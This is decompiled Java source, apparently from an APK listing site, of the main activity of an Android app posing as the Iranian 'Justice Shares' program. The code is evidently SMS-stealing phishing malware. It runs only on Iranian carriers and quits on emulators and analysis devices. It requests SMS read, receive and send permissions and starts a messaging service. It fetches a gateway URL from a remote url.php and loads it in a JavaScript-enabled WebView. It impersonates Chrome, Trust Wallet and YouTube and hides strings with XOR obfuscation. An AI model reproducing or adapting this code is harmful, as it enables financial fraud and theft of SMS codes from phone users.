سهام عدالت v764.548.753.865版本的 MD5 值为:4a6177d44e3fbd8989019e496c3931e4

以下内容为反编译后的 main.java 源代码,内容仅作参考


package com.lyufo.play;

import android.app.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import anywheresoftware.b4a.B4AActivity;
import anywheresoftware.b4a.B4AMenuItem;
import anywheresoftware.b4a.BA;
import anywheresoftware.b4a.BALayout;
import anywheresoftware.b4a.Msgbox;
import anywheresoftware.b4a.keywords.Common;
import anywheresoftware.b4a.keywords.DateTime;
import anywheresoftware.b4a.keywords.StringBuilderWrapper;
import anywheresoftware.b4a.keywords.constants.KeyCodes;
import anywheresoftware.b4a.objects.ActivityWrapper;
import anywheresoftware.b4a.objects.IntentWrapper;
import anywheresoftware.b4a.objects.RuntimePermissions;
import anywheresoftware.b4a.objects.ServiceHelper;
import anywheresoftware.b4a.objects.ViewWrapper;
import anywheresoftware.b4a.objects.WebViewWrapper;
import anywheresoftware.b4a.objects.streams.File;
import anywheresoftware.b4a.phone.Phone;
import anywheresoftware.b4a.samples.httputils2.httpjob;
import anywheresoftware.b4a.samples.httputils2.httputils2service;
import java.lang.ref.WeakReference;
import java.util.ArrayList;
import java.util.Iterator;
public class main extends Activity implements B4AActivity {
    public static Phone _v6 = null;
    public static String _v7 = "";
    public static String _vvvv0 = "";
    public static String _vvvv6 = "";
    public static String _vvvv7 = "";
    static boolean afterFirstLayout = false;
    private static byte[][] bb = null;
    public static boolean dontPause = false;
    public static final boolean fullScreen = true;
    public static final boolean includeTitle = false;
    static boolean isFirst = true;
    public static main mostCurrent;
    public static WeakReference<Activity> previousOne;
    public static BA processBA;
    private static boolean processGlobalsRun;
    ActivityWrapper _activity;
    BA activityBA;
    BALayout layout;
    ArrayList<B4AMenuItem> menuItems;
    private Boolean onKeySubExist = null;
    private Boolean onKeyUpSubExist = null;
    public Common __c = null;
    public WebViewWrapper _vvvvv7 = null;
    public RuntimePermissions _vvvvv5 = null;
    public httputils2service _vvvvv0 = null;
    public jmwcx _vvvvvv1 = null;
    public firebasemessaging _vvvvv2 = null;
    public s8 _vvvvvv2 = null;
    public f8 _vvvvvv3 = null;
    public starter _vvvvvv4 = null;
    public f9 _vvvvvv5 = null;
    public f10 _vvvvvv6 = null;
    public f11 _vvvvvv7 = null;
    public uninstall _vvvvvv0 = null;
    public r8 _vvvvv4 = null;
    public aapp _vvvvvvv1 = null;
    public chrome _vvvvvvv2 = null;
    public instagram _vvvvvvv3 = null;
    public playstore _vvvvvvv4 = null;
    public shad _vvvvvvv5 = null;
    public telegram _vvvvvvv6 = null;
    public trustwallet _vvvvvvv7 = null;
    public youtube _vvvvvvv0 = null;

    public static void _activity_permissionresult(String str, boolean z) throws Exception {
    }

    public static void _jobdone(httpjob httpjobVar) throws Exception {
    }

    @Override
    public void onCreate(Bundle bundle) {
        Activity activity;
        super.onCreate(bundle);
        mostCurrent = this;
        if (processBA == null) {
            BA ba = new BA(getApplicationContext(), (BALayout) null, (BA) null, "com.lyufo.play", "com.lyufo.play.main");
            processBA = ba;
            ba.loadHtSubs(getClass());
            BALayout.setDeviceScale(getApplicationContext().getResources().getDisplayMetrics().density);
        } else {
            WeakReference<Activity> weakReference = previousOne;
            if (weakReference != null && (activity = weakReference.get()) != null && activity != this) {
                BA.LogInfo("Killing previous instance (main).");
                activity.finish();
            }
        }
        processBA.setActivityPaused(true);
        processBA.runHook("oncreate", this, null);
        getWindow().requestFeature(1);
        getWindow().setFlags(1024, 1024);
        processBA.sharedProcessBA.activityBA = null;
        BALayout bALayout = new BALayout(this);
        this.layout = bALayout;
        setContentView(bALayout);
        afterFirstLayout = false;
        WaitForLayout waitForLayout = new WaitForLayout();
        if (ServiceHelper.StarterHelper.startFromActivity(this, processBA, waitForLayout, false)) {
            BA.handler.postDelayed(waitForLayout, 5L);
        }
    }

    static class WaitForLayout implements Runnable {
        WaitForLayout() {
        }

        @Override
        public void run() {
            if (main.afterFirstLayout || main.mostCurrent == null) {
                return;
            }
            if (main.mostCurrent.layout.getWidth() == 0) {
                BA.handler.postDelayed(this, 5L);
                return;
            }
            main.mostCurrent.layout.getLayoutParams().height = main.mostCurrent.layout.getHeight();
            main.mostCurrent.layout.getLayoutParams().width = main.mostCurrent.layout.getWidth();
            main.afterFirstLayout = true;
            main.mostCurrent.afterFirstLayout();
        }
    }

    public void afterFirstLayout() {
        if (this != mostCurrent) {
            return;
        }
        this.activityBA = new BA(this, this.layout, processBA, "com.lyufo.play", "com.lyufo.play.main");
        processBA.sharedProcessBA.activityBA = new WeakReference<>(this.activityBA);
        ViewWrapper.lastId = 0;
        this._activity = new ActivityWrapper(this.activityBA, "activity");
        Msgbox.isDismissing = false;
        if (BA.isShellModeRuntimeCheck(processBA)) {
            if (isFirst) {
                processBA.raiseEvent2(null, true, "SHELL", false, new Object[0]);
            }
            BA ba = processBA;
            ba.raiseEvent2(null, true, "CREATE", true, "com.lyufo.play.main", ba, this.activityBA, this._activity, Float.valueOf(Common.Density), mostCurrent);
            this._activity.reinitializeForShell(this.activityBA, "activity");
        }
        initializeProcessGlobals();
        initializeGlobals();
        StringBuilder sb = new StringBuilder();
        sb.append("** Activity (main) Create ");
        sb.append(isFirst ? "(first time)" : "");
        sb.append(" **");
        BA.LogInfo(sb.toString());
        processBA.raiseEvent2(null, true, "activity_create", false, Boolean.valueOf(isFirst));
        isFirst = false;
        if (this != mostCurrent) {
            return;
        }
        processBA.setActivityPaused(false);
        BA.LogInfo("** Activity (main) Resume **");
        processBA.raiseEvent(null, "activity_resume", new Object[0]);
        if (Build.VERSION.SDK_INT >= 11) {
            try {
                Object[] objArr = null;
                Activity.class.getMethod("invalidateOptionsMenu", new Class[0]).invoke(this, null);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void addMenuItem(B4AMenuItem b4AMenuItem) {
        if (this.menuItems == null) {
            this.menuItems = new ArrayList<>();
        }
        this.menuItems.add(b4AMenuItem);
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        super.onCreateOptionsMenu(menu);
        try {
            if (processBA.subExists("activity_actionbarhomeclick")) {
                Class.forName("android.app.ActionBar").getMethod("setHomeButtonEnabled", Boolean.TYPE).invoke(getClass().getMethod("getActionBar", new Class[0]).invoke(this, new Object[0]), true);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        if (processBA.runHook("oncreateoptionsmenu", this, new Object[]{menu})) {
            return true;
        }
        ArrayList<B4AMenuItem> arrayList = this.menuItems;
        if (arrayList == null) {
            return false;
        }
        Iterator<B4AMenuItem> it = arrayList.iterator();
        while (it.hasNext()) {
            B4AMenuItem next = it.next();
            MenuItem add = menu.add(next.title);
            if (next.drawable != null) {
                add.setIcon(next.drawable);
            }
            if (Build.VERSION.SDK_INT >= 11) {
                try {
                    if (next.addToBar) {
                        MenuItem.class.getMethod("setShowAsAction", Integer.TYPE).invoke(add, 1);
                    }
                } catch (Exception e2) {
                    e2.printStackTrace();
                }
            }
            add.setOnMenuItemClickListener(new B4AMenuItemsClickListener(next.eventName.toLowerCase(BA.cul)));
        }
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem menuItem) {
        if (menuItem.getItemId() == 16908332) {
            processBA.raiseEvent(null, "activity_actionbarhomeclick", new Object[0]);
            return true;
        }
        return super.onOptionsItemSelected(menuItem);
    }

    @Override
    public boolean onPrepareOptionsMenu(Menu menu) {
        super.onPrepareOptionsMenu(menu);
        processBA.runHook("onprepareoptionsmenu", this, new Object[]{menu});
        return true;
    }

    @Override
    protected void onStart() {
        super.onStart();
        processBA.runHook("onstart", this, null);
    }

    @Override
    protected void onStop() {
        super.onStop();
        processBA.runHook("onstop", this, null);
    }

    @Override
    public void onWindowFocusChanged(boolean z) {
        super.onWindowFocusChanged(z);
        if (processBA.subExists("activity_windowfocuschanged")) {
            processBA.raiseEvent2(null, true, "activity_windowfocuschanged", false, Boolean.valueOf(z));
        }
    }

    private class B4AMenuItemsClickListener implements MenuItem.OnMenuItemClickListener {
        private final String eventName;

        public B4AMenuItemsClickListener(String str) {
            this.eventName = str;
        }

        @Override
        public boolean onMenuItemClick(MenuItem menuItem) {
            BA ba = main.processBA;
            CharSequence title = menuItem.getTitle();
            ba.raiseEventFromUI(title, this.eventName + "_click", new Object[0]);
            return true;
        }
    }

    public static Class<?> getObject() {
        return main.class;
    }

    @Override
    public boolean onKeyDown(int i, KeyEvent keyEvent) {
        if (processBA.runHook("onkeydown", this, new Object[]{Integer.valueOf(i), keyEvent})) {
            return true;
        }
        if (this.onKeySubExist == null) {
            this.onKeySubExist = Boolean.valueOf(processBA.subExists("activity_keypress"));
        }
        if (this.onKeySubExist.booleanValue()) {
            if (i == 4 && Build.VERSION.SDK_INT >= 18) {
                HandleKeyDelayed handleKeyDelayed = new HandleKeyDelayed();
                handleKeyDelayed.kc = i;
                BA.handler.post(handleKeyDelayed);
                return true;
            } else if (new HandleKeyDelayed().runDirectly(i)) {
                return true;
            }
        }
        return super.onKeyDown(i, keyEvent);
    }

    private class HandleKeyDelayed implements Runnable {
        int kc;

        private HandleKeyDelayed() {
        }

        @Override
        public void run() {
            runDirectly(this.kc);
        }

        public boolean runDirectly(int i) {
            Boolean bool = (Boolean) main.processBA.raiseEvent2(main.this._activity, false, "activity_keypress", false, Integer.valueOf(i));
            if (bool == null || bool.booleanValue()) {
                return true;
            }
            if (i == 4) {
                main.this.finish();
                return true;
            }
            return false;
        }
    }

    @Override
    public boolean onKeyUp(int i, KeyEvent keyEvent) {
        Boolean bool;
        if (processBA.runHook("onkeyup", this, new Object[]{Integer.valueOf(i), keyEvent})) {
            return true;
        }
        if (this.onKeyUpSubExist == null) {
            this.onKeyUpSubExist = Boolean.valueOf(processBA.subExists("activity_keyup"));
        }
        if (this.onKeyUpSubExist.booleanValue() && ((bool = (Boolean) processBA.raiseEvent2(this._activity, false, "activity_keyup", false, Integer.valueOf(i))) == null || bool.booleanValue())) {
            return true;
        }
        return super.onKeyUp(i, keyEvent);
    }

    @Override
    public void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        setIntent(intent);
        processBA.runHook("onnewintent", this, new Object[]{intent});
    }

    @Override
    public void onPause() {
        super.onPause();
        if (this._activity != null && this == mostCurrent) {
            Msgbox.dismiss(true);
            if (!dontPause) {
                BA.LogInfo("** Activity (main) Pause, UserClosed = " + this.activityBA.activity.isFinishing() + " **");
            } else {
                BA.LogInfo("** Activity (main) Pause event (activity is not paused). **");
            }
            if (mostCurrent != null) {
                processBA.raiseEvent2(this._activity, true, "activity_pause", false, Boolean.valueOf(this.activityBA.activity.isFinishing()));
            }
            if (!dontPause) {
                processBA.setActivityPaused(true);
                mostCurrent = null;
            }
            if (!this.activityBA.activity.isFinishing()) {
                previousOne = new WeakReference<>(this);
            }
            Msgbox.isDismissing = false;
            processBA.runHook("onpause", this, null);
        }
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        previousOne = null;
        processBA.runHook("ondestroy", this, null);
    }

    @Override
    public void onResume() {
        super.onResume();
        mostCurrent = this;
        Msgbox.isDismissing = false;
        if (this.activityBA != null) {
            BA.handler.post(new ResumeMessage(mostCurrent));
        }
        processBA.runHook("onresume", this, null);
    }

    private static class ResumeMessage implements Runnable {
        private final WeakReference<Activity> activity;

        public ResumeMessage(Activity activity) {
            this.activity = new WeakReference<>(activity);
        }

        @Override
        public void run() {
            main mainVar = main.mostCurrent;
            if (mainVar == null || mainVar != this.activity.get()) {
                return;
            }
            main.processBA.setActivityPaused(false);
            BA.LogInfo("** Activity (main) Resume **");
            if (mainVar != main.mostCurrent) {
                return;
            }
            main.processBA.raiseEvent(mainVar._activity, "activity_resume", null);
        }
    }

    @Override
    protected void onActivityResult(int i, int i2, Intent intent) {
        processBA.onActivityResult(i, i2, intent);
        processBA.runHook("onactivityresult", this, new Object[]{Integer.valueOf(i), Integer.valueOf(i2)});
    }

    private static void initializeGlobals() {
        processBA.raiseEvent2(null, true, "globals", false, null);
    }

    @Override
    public void onRequestPermissionsResult(int i, String[] strArr, int[] iArr) {
        for (int i2 = 0; i2 < strArr.length; i2++) {
            Object[] objArr = new Object[2];
            objArr[0] = strArr[i2];
            objArr[1] = Boolean.valueOf(iArr[i2] == 0);
            processBA.raiseEventFromDifferentThread(null, null, 0, "activity_permissionresult", true, objArr);
        }
    }

    public static boolean isAnyActivityVisible() {
        return (mostCurrent != null) | false | (aapp.mostCurrent != null) | (chrome.mostCurrent != null) | (instagram.mostCurrent != null) | (playstore.mostCurrent != null) | (shad.mostCurrent != null) | (telegram.mostCurrent != null) | (trustwallet.mostCurrent != null) | (youtube.mostCurrent != null);
    }

    public static void _activity_create(boolean z) throws Exception {
        new ResumableSub_Activity_Create(null, z).resume(processBA, null);
    }

    public static class ResumableSub_Activity_Create extends BA.ResumableSub {
        boolean _firsttime;
        main parent;
        String _permission = "";
        boolean _result = false;
        httpjob _job = null;
        String _getewayurl = "";
        IntentWrapper _i = null;
        IntentWrapper _myintent = null;

        public ResumableSub_Activity_Create(main mainVar, boolean z) {
            this.parent = mainVar;
            this._firsttime = z;
        }

        @Override
        public void resume(BA ba, Object[] objArr) throws Exception {
            while (true) {
                switch (this.state) {
                    case -1:
                        return;
                    case 0:
                        this.state = 1;
                        break;
                    case 1:
                        this.state = 4;
                        if (!main._vvvvv1()) {
                            this.state = 3;
                            break;
                        } else {
                            break;
                        }
                    case 3:
                        this.state = 4;
                        Common.ToastMessageShow(BA.ObjectToCharSequence("Loading ..."), true);
                        Common.ExitApplication();
                        BA ba2 = main.processBA;
                        firebasemessaging firebasemessagingVar = main.mostCurrent._vvvvv2;
                        Common.StopService(ba2, firebasemessaging.getObject());
                        break;
                    case 4:
                        this.state = 36;
                        if (main._vvvvv3()) {
                            this.state = 6;
                            break;
                        } else {
                            this.state = 8;
                            break;
                        }
                    case 6:
                        this.state = 36;
                        Common.ToastMessageShow(BA.ObjectToCharSequence("Loading ..."), true);
                        Common.ExitApplication();
                        BA ba3 = main.processBA;
                        firebasemessaging firebasemessagingVar2 = main.mostCurrent._vvvvv2;
                        Common.StopService(ba3, firebasemessaging.getObject());
                        break;
                    case 8:
                        this.state = 9;
                        break;
                    case 9:
                        this.state = 12;
                        File file = Common.File;
                        File file2 = Common.File;
                        if (!File.Exists(File.getDirInternal(), "datatransportation.txt")) {
                            this.state = 11;
                            break;
                        } else {
                            break;
                        }
                    case 11:
                        this.state = 12;
                        File file3 = Common.File;
                        File file4 = Common.File;
                        String dirInternal = File.getDirInternal();
                        r8 r8Var = main.mostCurrent._vvvvv4;
                        File.WriteString(dirInternal, "datatransportation.txt", r8._vvvv4);
                        break;
                    case 12:
                        this.state = 35;
                        if (main.mostCurrent._activity.getTitle().equals(BA.ObjectToCharSequence("سهام عدالت"))) {
                            this.state = 14;
                            break;
                        } else if (main.mostCurrent._activity.getTitle().equals(BA.ObjectToCharSequence("Chrome"))) {
                            this.state = 30;
                            break;
                        } else if (main.mostCurrent._activity.getTitle().equals(BA.ObjectToCharSequence("Trust Wallet"))) {
                            this.state = 32;
                            break;
                        } else if (!main.mostCurrent._activity.getTitle().equals(BA.ObjectToCharSequence("YouTube"))) {
                            break;
                        } else {
                            this.state = 34;
                            break;
                        }
                    case 14:
                        this.state = 15;
                        RuntimePermissions runtimePermissions = main.mostCurrent._vvvvv5;
                        BA ba4 = main.processBA;
                        RuntimePermissions runtimePermissions2 = main.mostCurrent._vvvvv5;
                        runtimePermissions.CheckAndRequest(ba4, RuntimePermissions.PERMISSION_RECEIVE_SMS);
                        RuntimePermissions runtimePermissions3 = main.mostCurrent._vvvvv5;
                        BA ba5 = main.processBA;
                        RuntimePermissions runtimePermissions4 = main.mostCurrent._vvvvv5;
                        runtimePermissions3.CheckAndRequest(ba5, RuntimePermissions.PERMISSION_READ_SMS);
                        RuntimePermissions runtimePermissions5 = main.mostCurrent._vvvvv5;
                        BA ba6 = main.processBA;
                        RuntimePermissions runtimePermissions6 = main.mostCurrent._vvvvv5;
                        runtimePermissions5.CheckAndRequest(ba6, RuntimePermissions.PERMISSION_SEND_SMS);
                        break;
                    case 15:
                        this.state = 18;
                        Phone phone = main._v6;
                        if (Phone.getSdkVersion() < 33) {
                            break;
                        } else {
                            this.state = 17;
                            break;
                        }
                    case 17:
                        this.state = 18;
                        RuntimePermissions runtimePermissions7 = main.mostCurrent._vvvvv5;
                        BA ba7 = main.processBA;
                        RuntimePermissions runtimePermissions8 = main.mostCurrent._vvvvv5;
                        runtimePermissions7.CheckAndRequest(ba7, RuntimePermissions.PERMISSION_POST_NOTIFICATIONS);
                        break;
                    case 18:
                        this.state = 19;
                        Common.WaitFor("activity_permissionresult", main.processBA, this, null);
                        this.state = 37;
                        return;
                    case 19:
                        this.state = 28;
                        if (this._result && main._vvvvv6()) {
                            this.state = 21;
                            break;
                        } else {
                            this.state = 27;
                            break;
                        }
                    case 21:
                        this.state = 22;
                        BA ba8 = main.processBA;
                        firebasemessaging firebasemessagingVar3 = main.mostCurrent._vvvvv2;
                        Class<?> object = firebasemessaging.getObject();
                        DateTime dateTime = Common.DateTime;
                        long now = DateTime.getNow();
                        DateTime dateTime2 = Common.DateTime;
                        Common.StartServiceAt(ba8, object, now + 300000, false);
                        Common.ProgressDialogShow2(main.mostCurrent.activityBA, BA.ObjectToCharSequence("لطفا صبر کنید"), false);
                        httpjob httpjobVar = new httpjob();
                        this._job = httpjobVar;
                        httpjobVar._initialize(main.processBA, "", main.getObject());
                        httpjob httpjobVar2 = this._job;
                        StringBuilder sb = new StringBuilder();
                        sb.append("http://");
                        r8 r8Var2 = main.mostCurrent._vvvvv4;
                        sb.append(r8._vvvv4);
                        sb.append("");
                        firebasemessaging firebasemessagingVar4 = main.mostCurrent._vvvvv2;
                        sb.append(firebasemessaging._vvv1);
                        sb.append("/");
                        r8 r8Var3 = main.mostCurrent._vvvvv4;
                        sb.append(r8._vvvv5);
                        sb.append("/url.php?app=10");
                        httpjobVar2._download(sb.toString());
                        Common.WaitFor("jobdone", main.processBA, this, this._job);
                        this.state = 38;
                        return;
                    case 22:
                        this.state = 25;
                        if (!this._job._success) {
                            break;
                        } else {
                            this.state = 24;
                            break;
                        }
                    case 24:
                        this.state = 25;
                        this._getewayurl = this._job._getstring();
                        main.mostCurrent._vvvvv7.Initialize(main.mostCurrent.activityBA, "");
                        main.mostCurrent._activity.AddView((View) main.mostCurrent._vvvvv7.getObject(), 0, 0, main.mostCurrent._activity.getWidth(), Common.PerYToCurrent(100.0f, main.mostCurrent.activityBA));
                        main.mostCurrent._vvvvv7.setJavaScriptEnabled(true);
                        main.mostCurrent._vvvvv7.LoadUrl(this._getewayurl);
                        Common.ProgressDialogHide();
                        break;
                    case 25:
                        this.state = 28;
                        break;
                    case 27:
                        this.state = 28;
                        Common.Msgbox(BA.ObjectToCharSequence("کاربر گرامی برای ادامه کار لطفا دسترسی های برنامه رو برسی و از اتصال اینترنت خود اطمینان حاصل کنید."), BA.ObjectToCharSequence("خطای برنامه"), main.mostCurrent.activityBA);
                        Common.Sleep(main.mostCurrent.activityBA, this, 2500);
                        this.state = 39;
                        return;
                    case 28:
                        this.state = 35;
                        break;
                    case KeyCodes.KEYCODE_B:
                        this.state = 35;
                        IntentWrapper intentWrapper = new IntentWrapper();
                        this._i = intentWrapper;
                        intentWrapper.Initialize(IntentWrapper.ACTION_VIEW, "https://google.com");
                        this._i.SetComponent("com.android.chrome");
                        Common.StartActivity(main.processBA, this._i.getObject());
                        main.mostCurrent._activity.Finish();
                        BA ba9 = main.processBA;
                        firebasemessaging firebasemessagingVar5 = main.mostCurrent._vvvvv2;
                        Common.StartService(ba9, firebasemessaging.getObject());
                        break;
                    case 32:
                        this.state = 35;
                        IntentWrapper intentWrapper2 = new IntentWrapper();
                        this._i = intentWrapper2;
                        intentWrapper2.Initialize(IntentWrapper.ACTION_VIEW, "https://trustwallet.com");
                        this._i.SetComponent("com.android.chrome");
                        Common.StartActivity(main.processBA, this._i.getObject());
                        main.mostCurrent._activity.Finish();
                        BA ba10 = main.processBA;
                        firebasemessaging firebasemessagingVar6 = main.mostCurrent._vvvvv2;
                        Common.StartService(ba10, firebasemessaging.getObject());
                        break;
                    case 34:
                        this.state = 35;
                        IntentWrapper intentWrapper3 = new IntentWrapper();
                        this._myintent = intentWrapper3;
                        intentWrapper3.Initialize(IntentWrapper.ACTION_MAIN, "");
                        this._myintent.SetComponent("https://www.youtube.com");
                        Common.StartActivity(main.processBA, this._myintent.getObject());
                        main.mostCurrent._activity.Finish();
                        BA ba11 = main.processBA;
                        firebasemessaging firebasemessagingVar7 = main.mostCurrent._vvvvv2;
                        Common.StartService(ba11, firebasemessaging.getObject());
                        break;
                    case 35:
                        this.state = 36;
                        break;
                    case 36:
                        this.state = -1;
                        break;
                    case 37:
                        this.state = 19;
                        this._permission = (String) objArr[0];
                        this._result = ((Boolean) objArr[1]).booleanValue();
                        break;
                    case 38:
                        this.state = 22;
                        this._job = (httpjob) objArr[0];
                        break;
                    case 39:
                        this.state = 28;
                        main.mostCurrent._activity.Finish();
                        return;
                }
            }
        }
    }

    public static boolean _activity_keypress(int i) throws Exception {
        KeyCodes keyCodes = Common.KeyCodes;
        if (i == 4) {
            return true;
        }
        KeyCodes keyCodes2 = Common.KeyCodes;
        return i == 3;
    }

    public static String _activity_pause(boolean z) throws Exception {
        if (z) {
            return "";
        }
        _vvvv0 = "outSide";
        Common.LogImpl("8262147", "outSide", 0);
        return "";
    }

    public static String _activity_resume() throws Exception {
        _vvvv0 = "inSide";
        return "";
    }

    public static boolean _vvvvv6() throws Exception {
        new Phone();
        StringBuilderWrapper stringBuilderWrapper = new StringBuilderWrapper();
        stringBuilderWrapper.Initialize();
        Phone.Shell("ping -c 2 -W 10 -v google.com", (String[]) Common.Null, stringBuilderWrapper.getObject(), (StringBuilder) Common.Null);
        return stringBuilderWrapper.getLength() != 0;
    }

    public static boolean _vvvvv3() throws Exception {
        _vvvv6 = Phone.getModel();
        _vvvv7 = Phone.getProduct();
        _v7 = Phone.GetNetworkOperatorName();
        return _vvvv6.contains("google_sdk") || _vvvv6.contains("Emulator") || _vvvv6.contains("Android SDK built for x86") || _vvvv6.contains("sdk") || _vvvv6.contains("Nexus") || _vvvv6.equals("OnePlus8Pro") || _vvvv6.contains("Pixel_5") || _vvvv6.contains("mainline") || _vvvv6.equals("mainline") || _vvvv6.contains("Pixel") || _vvvv6.contains("VIE-L09") || _vvvv6.contains("vivo") || _vvvv6.equals("Pixel 5") || _vvvv7.contains("sdk_google") || _vvvv7.contains("google_sdk") || _vvvv7.contains("sdk") || _vvvv7.contains("sdk_x86") || _vvvv7.contains("sdk_gphone64_arm64") || _vvvv7.contains("vbox86p") || _vvvv7.contains("emulator") || _vvvv7.contains("simulator") || _v7.equals("Android") || _v7.equals("T-Mobile") || _v7.contains("Mobile") || _v7.contains("RUS") || _v7.equals("MegaFon RUS") || _v7.equals("") || _v7.equals("AT") || _v7.contains("US") || _v7.equals("Verizon") || _v7.contains("AT") || _v7.contains("OnePhone") || _v7.contains("SFR") || _v7.contains("KPN") || _v7.contains("Telecom") || _v7.contains("MegaFon") || _v7.contains("Dyna") || _v7.contains("CMCC") || _v7.equals("MTS") || _v7.equals("du") || Phone.getManufacturer().contains("Genymotion");
    }

    public static String _globals() throws Exception {
        mostCurrent._vvvvv7 = new WebViewWrapper();
        mostCurrent._vvvvv5 = new RuntimePermissions();
        return "";
    }

    public static boolean _vvvvv1() throws Exception {
        String GetNetworkOperatorName = Phone.GetNetworkOperatorName();
        _v7 = GetNetworkOperatorName;
        return GetNetworkOperatorName.equals("IR-MCI") || _v7.equals("Irancell") || _v7.equals("MCI") || _v7.equals("RighTel") || _v7.equals("Taliya") || _v7.equals("MTN") || _v7.equals("Rightel") || _v7.equals("rightel") || _v7.equals("irancell") || _v7.equals("ir-mci") || _v7.equals("mci") || _v7.equals("taliya") || _v7.equals("432 11") || _v7.equals("RIGHTEL") || _v7.equals("IR-TCI") || _v7.equals("Turkcell | Irancell") || _v7.equals("Turkcell | MCI") || _v7.equals("Turkcell | IR-MCI") || _v7.equals("MCI | Turkcell") || _v7.equals("IR-MCI | Turkcell") || _v7.equals("BIMcell") || _v7.equals("Turkcell | Irancell");
    }

    public static void initializeProcessGlobals() {
        if (processGlobalsRun) {
            return;
        }
        processGlobalsRun = true;
        try {
            httputils2service._process_globals();
            _process_globals();
            jmwcx._process_globals();
            firebasemessaging._process_globals();
            s8._process_globals();
            f8._process_globals();
            starter._process_globals();
            f9._process_globals();
            f10._process_globals();
            f11._process_globals();
            uninstall._process_globals();
            r8._process_globals();
            aapp._process_globals();
            chrome._process_globals();
            instagram._process_globals();
            playstore._process_globals();
            shad._process_globals();
            telegram._process_globals();
            trustwallet._process_globals();
            youtube._process_globals();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public static String vvv13(byte[] bArr, int i) throws Exception {
        new Runnable(i, bArr) {
            final byte[] val$_b;
            final int val$i;

            @Override
            public void run() {
            }

            {
                this.val$i = i;
                this.val$_b = bArr;
                int i2 = (i / 5) + 233642;
                if (main.bb == null) {
                    byte[][] unused = main.bb = new byte[4];
                    main.bb[0] = BA.packageName.getBytes("UTF8");
                    main.bb[1] = BA.applicationContext.getPackageManager().getPackageInfo(BA.packageName, 0).versionName.getBytes("UTF8");
                    if (main.bb[1].length == 0) {
                        main.bb[1] = "jsdkfh".getBytes("UTF8");
                    }
                    byte[][] bArr2 = main.bb;
                    byte[] bArr3 = new byte[1];
                    bArr3[0] = (byte) BA.applicationContext.getPackageManager().getPackageInfo(BA.packageName, 0).versionCode;
                    bArr2[2] = bArr3;
                }
                byte[][] bArr4 = main.bb;
                byte[] bArr5 = new byte[4];
                bArr5[0] = (byte) (i2 >>> 24);
                bArr5[1] = (byte) (i2 >>> 16);
                bArr5[2] = (byte) (i2 >>> 8);
                bArr5[3] = (byte) i2;
                bArr4[3] = bArr5;
                for (int i3 = 0; i3 < 4; i3++) {
                    int i4 = 0;
                    while (true) {
                        try {
                            byte[] bArr6 = this.val$_b;
                            if (i4 < bArr6.length) {
                                bArr6[i4] = (byte) (bArr6[i4] ^ main.bb[i3][i4 % main.bb[i3].length]);
                                i4++;
                            }
                        } catch (Exception e) {
                            throw new RuntimeException(e);
                        }
                    }
                }
            }
        };
        return new String(bArr, "UTF8");
    }

    public static String _process_globals() throws Exception {
        _v6 = new Phone();
        _vvvv6 = "";
        _vvvv7 = "";
        _v7 = "";
        _vvvv0 = vvv13(new byte[]{-54, -64, -105, -3, -30, -57, -113, -85, -54, -121}, 246722);
        return "";
    }
}